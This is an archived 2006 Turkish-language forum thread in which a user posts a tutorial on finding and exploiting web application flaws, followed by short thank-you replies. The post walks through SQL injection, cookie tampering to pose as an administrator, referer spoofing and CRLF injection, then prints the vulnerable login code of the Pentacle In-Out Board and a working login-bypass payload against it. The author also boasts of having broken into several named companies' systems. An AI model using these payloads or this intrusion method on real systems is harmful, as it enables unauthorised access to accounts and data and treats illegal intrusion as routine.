www.cakal.net Forumları YabadabaDuuuee  

Geri Git   www.cakal.net Forumları YabadabaDuuuee > Forum > Eskiler (Arşiv)

Eskiler (Arşiv) Eski konular

CevaplaCevapla
 
Konu Araçları Görünüm Modları
Old 12-05-2006, 01:54 PM   #1
Stinq
ÇaKaL Üye
 
Stinq Kullanıcısının Avatarı
 
Üyelik Tarihi: Jan 2006
Yaş: 38
Mesajlar: 1,186
Teşekkür Etme: 132
Thanked 704 Times in 375 Posts
Üye No: 6800
İtibar Gücü: 2057
Rep Puanı : 40766
Rep Derecesi : Stinq has a reputation beyond reputeStinq has a reputation beyond reputeStinq has a reputation beyond reputeStinq has a reputation beyond reputeStinq has a reputation beyond reputeStinq has a reputation beyond reputeStinq has a reputation beyond reputeStinq has a reputation beyond reputeStinq has a reputation beyond reputeStinq has a reputation beyond reputeStinq has a reputation beyond repute
Cinsiyet :
Exclamation Bir sistemin üzerindeki açıklar nasıl bulunur ve kullanılır?

Evet uzun zamandır yazmayı düşündüğüm bu dökümanımı bugüne kadar elde ettiğim tecrübelerden birebir aktarıyorum.Şuan için web tabanlı uygulamalar ilgili benim kullandığım yöntemleri yazıyorum.

Uygulama hatalarını bulmanın en kolay yolları;

Mevcut sayfalarla oynamak,
Uygulamaya ait formlarla oynamak,
Headerlarla oynamak,
Çerezlerle oynamak,


Uygulamanın kaynak kodlarından yararlanma:
(Genel içerik: çapraz site betiklenmesi (XSS) ve SQL enjeksiyonu)

En basit ve en yararlı olan yöntemdir. Basit dediğime bakmayın oldukça uğraştırır aslında.Nedenine gelince bazen bu sistemlerin hangi uygulamaları kullandığını bulmak oldukça zordur ve eğer public bir uygulama değilse örneğin (PHPNuke,PostNuke gibi) bu yöntemi denemenizi tavsiye etmem.

Kaynak kodunu ele geçirdiğiniz uygulamayı önce yerel bir sunucudaki kendi sisteminize bu uygulamayı destekleyen bir sunucu kurmalısınız (PHP tabanlı uygulamalar için: PHPTriad,ApacheTriad gibi sunucu paketleri sizin için idealdir, ASP ve FrontPage tabanlı sistemler için PWS sizler için idealdir ve PWS Windows ile gelir) bu sunucuyu kurdukdan sonra uygulamayı sunucunuz üzerinde çalıştırın.

Sonra birebir bütün heryerini önce kurcalayın ve bir hata ile karşılaştığınızdaki bu uygulamada var olan açığın ilk adımını bulmuşsunuz demekdir ki,

Bu hata mesajı bazen debug output olarak karşınıza çıkarsa ve alttaki örnek gibiyse

Kod:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'or' at line 1

1. satırdaki kodu inceleyin mevcut hatamız SQL ile ilgili gördüğünüz gibi burdaki fonksiyonu ve mevcut SQL sorgusuna dikkat edin ve neler yapılabileceğinizi deneyin.

Bazen hata mesajı almasanızda bir tuhaflık gözünüze çarpar örneğin uygulamamıza yerel sunucumuzdan şöyle eriştiğimizi varsayalım;

Kod:

Eğer read.php bize normalde mesaj yazması gereken yerde hiç birşey göstermediyse.
read.php dosyasını bir metin düzenleyicisi yardımıyla örnek: notepad açın,sonra tek tek bütün kodları inceleyin özellikle read.php'nin sunucudan "GET" yöntemi ile gelen sorgulara hangi fonksiyon ile nasıl yanıt verdiğine bakmalısınız.Eğer fonksiyonda bir terslik gözünüze çarpar ise örnek bir hatalı fonksiyon yazalım.

Kod:
function readip() { @mysql_connect($uo_sqlhost, $uo_sqluser, $uo_sqlpass) or die("Cannot connect to SQL server"); @mysql_select_db($uo_sqlbase) or die("Cannot select database"); $uo_ip = $_GET['SIP']; $uo_query = "SELECT lastvisit FROM users_online WHERE visitor = $uo_ip"; $uo_result = mysql_query($uo_query); echo $uo_result;}

gördüğünüz gibi fonksiyonda bir hatamız mevcut.
Kod:
$uo_query = "SELECT lastvisit FROM users_online WHERE visitor = $uo_ip";

tam olarak düzenli yazılmamış bir SQL sorgusu bu sorguya GET yöntemi ile gelen SIP sorgusundaki bir dikkatsizlik sayesinde çok kolay bir şekilde SQL sorgusu enjekte edebiliriz.
Hatta uzaktan kod çalıştırma dahi yapabiliriz.

Uygulamaları yazan kişiler genelde print (yazdırma) ve view (görüntüleme) sistemlerine ne yazikki dizayndan başka bir önem vermezler ve genelde bütün açıklar bu sayfalarda çıkar.

Eğer uygulamanın kaynak kodlarına erişemezseniz, mevcut uygulamaya ulaştığınız web sunucusundan en yukarda bahsettiğim metodları kullanarak az kafasını kurcalamaya çalışarak bir çok açık bulabilirsiniz.

Genelde büyük ve özel sunuculardaki açıklar böyle bulunmuştur. Bir çok büyük firmanın sistemine girdiğimde (BigFoot,ICQmail,NetZero,Superonline) bu tarz açıklar bulmuştum.

Çerezlerle oynamak:

Çerezler aslında HTTP requestte Cookie: headerıyla sunucuya yolladığımız ve sistemin bizi kolayca hatırlamasını sağlayan değerler.Bu değerlerle ufak oynamalar yaparak kendimizi sistem adminiymiş gibi gösterebiliriz bu metodu artık çoğunuz biliyorsunuz.Fazla anlatmaya gerek yok=)

Referans değişimi (referer spoofing):

Aslında buda headerlar ile oynamak kapsamına girer ancak dikkatsiz programcılar halen bu eski sistemi kullanmaktalar.Bir çoğunuz bu yöntemi porno sitelere girerken çok kullanıyorsunuz.
Burdaki mantık sokete HTTP requesti yollarken sitemizi abudik.com varsayarsak

Kod:
GET admin.asp HTTP/1.1Referer: http://www.abudik.com/login.asp

Şekline ufak bir data değişimi ile sistemin admin paneline girmemizi sağlar.

Satır atlattırma CRLF enjeksiyonu

Buda headerlarla oynamakdan geçer. Basit bir şekilde sokette headera \n\n karakterleri yazdırılır ve eğer sistem bu ufak oyunumuzu yutar ise istediğimiz headerı yazabilir, SQL enjeksiyondan , uzaktan kod çalıştırılmasına kadar bir çok şeyi yapabiliriz.

Bu yöntemlerin hepsi zamanla deneyerek öğrenilecek ve bir süre sonra alışkanlık yapacak yöntemler kendi metodlarınızı kullanarak bu yöntemleri geliştirebilirsiniz.

Bu döküman tamamen kendime aittir ve izinsiz kullanılamaz.
2006-?®©
nuker ****.a nukedx
__________________
Lets play the game with its rules...
Open your lappie: >
<Login:
>root
<Password:
>********
<Welcome , root! ...
>cd /home/root/love/secret/
>perl destroyher.pl
<Usage: destroyher.pl data user pass
>perl destroyher.pl all root 1h4t3y0u
<System will be destroyed sir!
<All datas will be lost...
<Are you sure? (Y/N)
>Y
<Okey then erasing her part...
<Loading ... Loading ... Loading ...
<Operation complete
<There is no way to return these datas sir!
>exit
<logout

Evet Pentacle Giriş Çıkış Tahtası (In-Out Board) sisteminde bulduğum şifre kontrol aşılmasını gösterelim.Pentacle nedir nerde kullanılır derseniz işyerlerinin local intranetleri için yazılmış bir kayıt sistemi kodlara bakalım.
PHP Kod:
<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<!--
#include file="inc.asp"-->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<
html xmlns="http://www.w3.org/1999/xhtml">
<
head>


<
meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<
title>PENTACLE IN-OUT BOARD - Log in</title>
<
link href="./skins/1/index.css" rel="stylesheet" type="text/css"/>
<
script type="text/javascript">
<!--
function
sf(){document.form1.username.focus();}
// -->
</script>
</head>

<body onload=sf()>
<%
Response.Buffer = True
Db = "./dbs/"&dbname
ConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Server.MapPath(db)
Set conn = Server.CreateObject("ADODB.Connection")
conn.open ConnStr

if request.form.count <> 0 then
username = trim(request("username"))
userpassword = trim(request("userpassword"))

set rsst = Server.CreateObject ("adodb.recordset")
sqlTextcs = "SELECT *, pt_users.userlocationid as userlocationid FROM pt_users, pt_locations where pt_users.userlocationid=pt_locations.locationid and username ='"&username & "' and userpassword='"& userpassword&"'"
'sqlTextcs = "SELECT * FROM pt_users where username="&username

rsst.Open SqlTextcs, conn, 1, 3
if not rsst.eof then
session("loginstatus")="true"
session("skin")=rsst("userskinid")
session("username") = rsst("username")
session("userid") = rsst("userid")
session("usergroupid") = rsst("usergroupid")
session("userlocationid") = rsst("userlocationid")
useradmin = rsst("useradmin")
if useradmin = True then
session("adminyes") = "True"
elseif useradmin = False then
session("adminyes") = "False"
end if
session("logtimezone") = rsst("locationtimezone")
' if session("prescript") = "" then
session("prescript") = "default.asp?groupid="&session("usergroupid")&"&lo cationid="&session("userlocationid")
' end if
response.redirect session("prescript")
end if
if session("lognumber")<3 then
session("lognumber")= session("lognumber")+1
response.redirect("login.asp")
else
response.redirect("error.asp?eno=6")

end if
else
set rsst = Server.CreateObject ("adodb.recordset")
sqlTextcs = "SELECT * FROM pt_settings"
rsst.Open SqlTextcs, conn, 1, 1
visitorview = rsst("visitorview")



end if
rsst.close
set rsst = Nothing
conn.close
%>

<form name="form1" id="form1" method="post" action="login.asp">
<p><br />
</p>
<table width="98%" border="0">
<tr>
<td colspan="3" align="center"><img src="skins/1/logoa.gif" alt="Pentacle Gold" width="220" height="60" /></td>
</tr>
<tr>
<td colspan="3" align="center"><h2>&nbsp;</h2></td>
</tr>
<tr>
<td width="43%" align="right">User Name:</td>
<td width="3%">&nbsp;</td>
<td width="54%" align="left"> <input name="username" type="text" id="username"/> </td>
</tr>
<tr>
<td align="right">User Password: </td>
<td>&nbsp;</td>
<td align="left"> <input name="userpassword" type="password" id="userpassword" /> </td>
</tr>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td align="left"><input type="submit" name="Submit" value="Log in" /></td>
</tr>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td align="left">
<%
if visitorview = true then
%>
<a href="defaultview.asp">View site as a Visitor </a></td>
<%else
%>
Visitor view is turned off.
<%
end if
%>
</tr>
<tr>
<td height="100" colspan="3" align="center" valign="bottom"><p> <span class="style12px">Powered By <a href="http://www.g2soft.net/pentacle/">Pentacle In-Out Board</a><br />
Copyright <a href="http://www.g2soft.net/">G2Soft.Net</a></span> <img src="./images/logo-s.gif" alt="g2soft" width="72" height="16" align="middle" /><span class="style12px">2005</span></p></td>
</tr>
</table>
</form>
</body>
</html>


Evet kodu iyice süzüyoruz ve SQL sorgularına dikkat ediyoruz.
Hemen 31.satıra bakalım
Kod:
sqlTextcs = "SELECT *, pt_users.userlocationid as userlocationid FROM pt_users, pt_locations where pt_users.userlocationid=pt_locations.locationid and username ='"&username & "' and userpassword='"& userpassword&"'"

gördüğünüz gibi amcamız bir güzel kodu yazmış ve hatta '"&Variable&"' kullanarak ' larla birleştirmiş ancak bunu iyice süzmemiş
' larla birleştirmesi bizim işimize yarayacak nedenmi?
dikkatlice bir SQL kodu yazalım ufak ve sistemin kafasını allak bullak etmeden onayı vermesini sağlayacak
sistem bunu nasıl okuyor önce bi buna bakalım
Kod:
SELECT *, pt_users.userlocationid as userlocationid FROM pt_users, pt_locations where pt_users.userlocationid=pt_locations.locationid and username ='birsey' and userpassword='sifre'

diye alıyor buraya kadar hersey masum deniyoruz şifre hatalı dedi..
şifre kısmına formumuzda 1' OR '1' = '1 yazalım basit bi şekilde sorgumuzun anlamı kullanıcı bu ve sifre su ise veya 1 eşittir 1 midir? elbette 1 eşit 1dir , şifre doğru olmasada bunun doğru bir kuram olması nedeniyle sql onayı vericek.
Kod:
SELECT *, pt_users.userlocationid as userlocationid FROM pt_users, pt_locations where pt_users.userlocationid=pt_locations.locationid and username ='birsey' and userpassword='1' OR '1' = '1'

oldu sorgumuz ama biz 1' OR '1' = '1 girdik işte baştaki & bağlama özelliği sayesinde öndeki tırnağa ve sondaki tırnağa sorgumuzu yazdı , ve başarılı bir sql sorgusu elde ettik ve sisteme girdik
www.nukedx.com/?getxpl=13 adresinden uygulamalı exploiti görebilirsiniz.
Pentaclei nette kullanan bir yer bulamazsınız bulsanızda çok az olabilir o yüzden online demo üstünden enjeksiyonu deneyebilirsiniz.
__________________
Lets play the game with its rules...
Open your lappie: >
<Login:
>root
<Password:
>********
<Welcome , root! ...
>cd /home/root/love/secret/
>perl destroyher.pl
<Usage: destroyher.pl data user pass
>perl destroyher.pl all root 1h4t3y0u
<System will be destroyed sir!
<All datas will be lost...
<Are you sure? (Y/N)
>Y
<Okey then erasing her part...
<Loading ... Loading ... Loading ...
<Operation complete
<There is no way to return these datas sir!
>exit
<logout
__________________


Stinq çevrimdışı   Alıntı ile Cevapla
Old 12-05-2006, 06:51 PM   #2
rıfkı
Müstakbel Üye
 
rıfkı Kullanıcısının Avatarı
 
Üyelik Tarihi: Jul 2006
Konum: Afyon
Mesajlar: 297
Teşekkür Etme: 152
Thanked 58 Times in 26 Posts
Üye No: 16509
İtibar Gücü: 1474
Rep Puanı : 4262
Rep Derecesi : rıfkı has a reputation beyond reputerıfkı has a reputation beyond reputerıfkı has a reputation beyond reputerıfkı has a reputation beyond reputerıfkı has a reputation beyond reputerıfkı has a reputation beyond reputerıfkı has a reputation beyond reputerıfkı has a reputation beyond reputerıfkı has a reputation beyond reputerıfkı has a reputation beyond reputerıfkı has a reputation beyond repute
Cinsiyet :
Varsayılan

eline saglık güzel paylaşım
__________________
Çağlayan sular gibiydi gözlerin,
Ağlattı beni son bakışın,
Gittin, dönüşü yok artık bu yolun,
Canım acıyor ne fayda,
Asla silinmeyecek kalbimden bu sevda,
Nerelerdesin bir tanem!..

Çagcan


ÖLÜMDE İNSANA İSTEDİĞİN ZAMAN GELMEZ Kİ

GİTTİ... GERİYE KALAN ACILARIM VE BEN


тαяιнιиι вιℓмєуєиℓєяιи ¢σğяαfуαѕιиι вαşкαℓαяι вєℓιяℓєя
rıfkı çevrimdışı   Alıntı ile Cevapla
Old 12-13-2006, 03:29 PM   #3
poltergeist
Yeni Üye
 
Üyelik Tarihi: Jul 2006
Yaş: 38
Mesajlar: 28
Teşekkür Etme: 30
Thanked 0 Times in 0 Posts
Üye No: 16312
İtibar Gücü: 1379
Rep Puanı : 10
Rep Derecesi : poltergeist is on a distinguished road
Cinsiyet :
Varsayılan

ellerine saglık . alıntımı sen mi yazdın?
poltergeist çevrimdışı   Alıntı ile Cevapla
Old 12-13-2006, 03:42 PM   #4
lebron_onur
ÇaKaL Üye
 
Üyelik Tarihi: Sep 2006
Konum: YéR6 !!!
Yaş: 33
Mesajlar: 1,119
Teşekkür Etme: 51
Thanked 36 Times in 20 Posts
Üye No: 18855
İtibar Gücü: 1602
Rep Puanı : 1760
Rep Derecesi : lebron_onur has a brilliant futurelebron_onur has a brilliant futurelebron_onur has a brilliant futurelebron_onur has a brilliant futurelebron_onur has a brilliant futurelebron_onur has a brilliant futurelebron_onur has a brilliant futurelebron_onur has a brilliant futurelebron_onur has a brilliant futurelebron_onur has a brilliant futurelebron_onur has a brilliant future
Cinsiyet :
Varsayılan

çok saol abi eline sağlık
__________________
киιgнт σиℓιиє ƒυи ¢ℓυв


İstanbuLL aTtacK




CezA

.......Dj.. LueRFeaT
lebron_onur çevrimdışı   Alıntı ile Cevapla
CevaplaCevapla


Konuyu Görüntüleyen Aktif Kullanıcılar: 1 (0 üye ve 1 misafir)
 

Yayınlama Kuralları
Yeni konu açamazsınız
Cevap gönderemezsiniz
Eklenti ekleyemezsiniz
Mesajlarınızı düzenleyemezsiniz

Kodlama is Açık
Smilies are Açık
[IMG] code is Açık
HTML code is Kapalı


Benzer Konular
Konu Konuyu Başlatan Forum Cevaplar Son Mesaj
Deep Freeze Nedir Deepfreeze Nasıl Kullanılır Resimli Anlatım styla45 Acemiler Yeni Başlayanlar 0 04-03-2010 09:16 PM
Otomatik Vites Nasıl Kullanılır GooD aNd EvıL Eskiler (Arşiv) 0 08-30-2008 06:13 PM
göz kalemi ve eyeliner nasıl kullanılır? ƒяαмвυαz Eskiler (Arşiv) 3 08-31-2007 07:30 PM
DEFiNE Nasıl bulunur [FX][SOLDIER] Eskiler (Arşiv) 0 04-07-2007 02:06 PM
Sistem açığı nasıl bulunur? -Nuke Story- ZaNdAR Eskiler (Arşiv) 0 12-07-2005 10:30 PM

Forum saati GMT +3 olarak ayarlanmıştır. Şu an saat: 04:48 AM

Yazılım: vBulletin® - Sürüm: 3.8.11   Copyright ©2000 - 2025, vBulletin Solutions, Inc.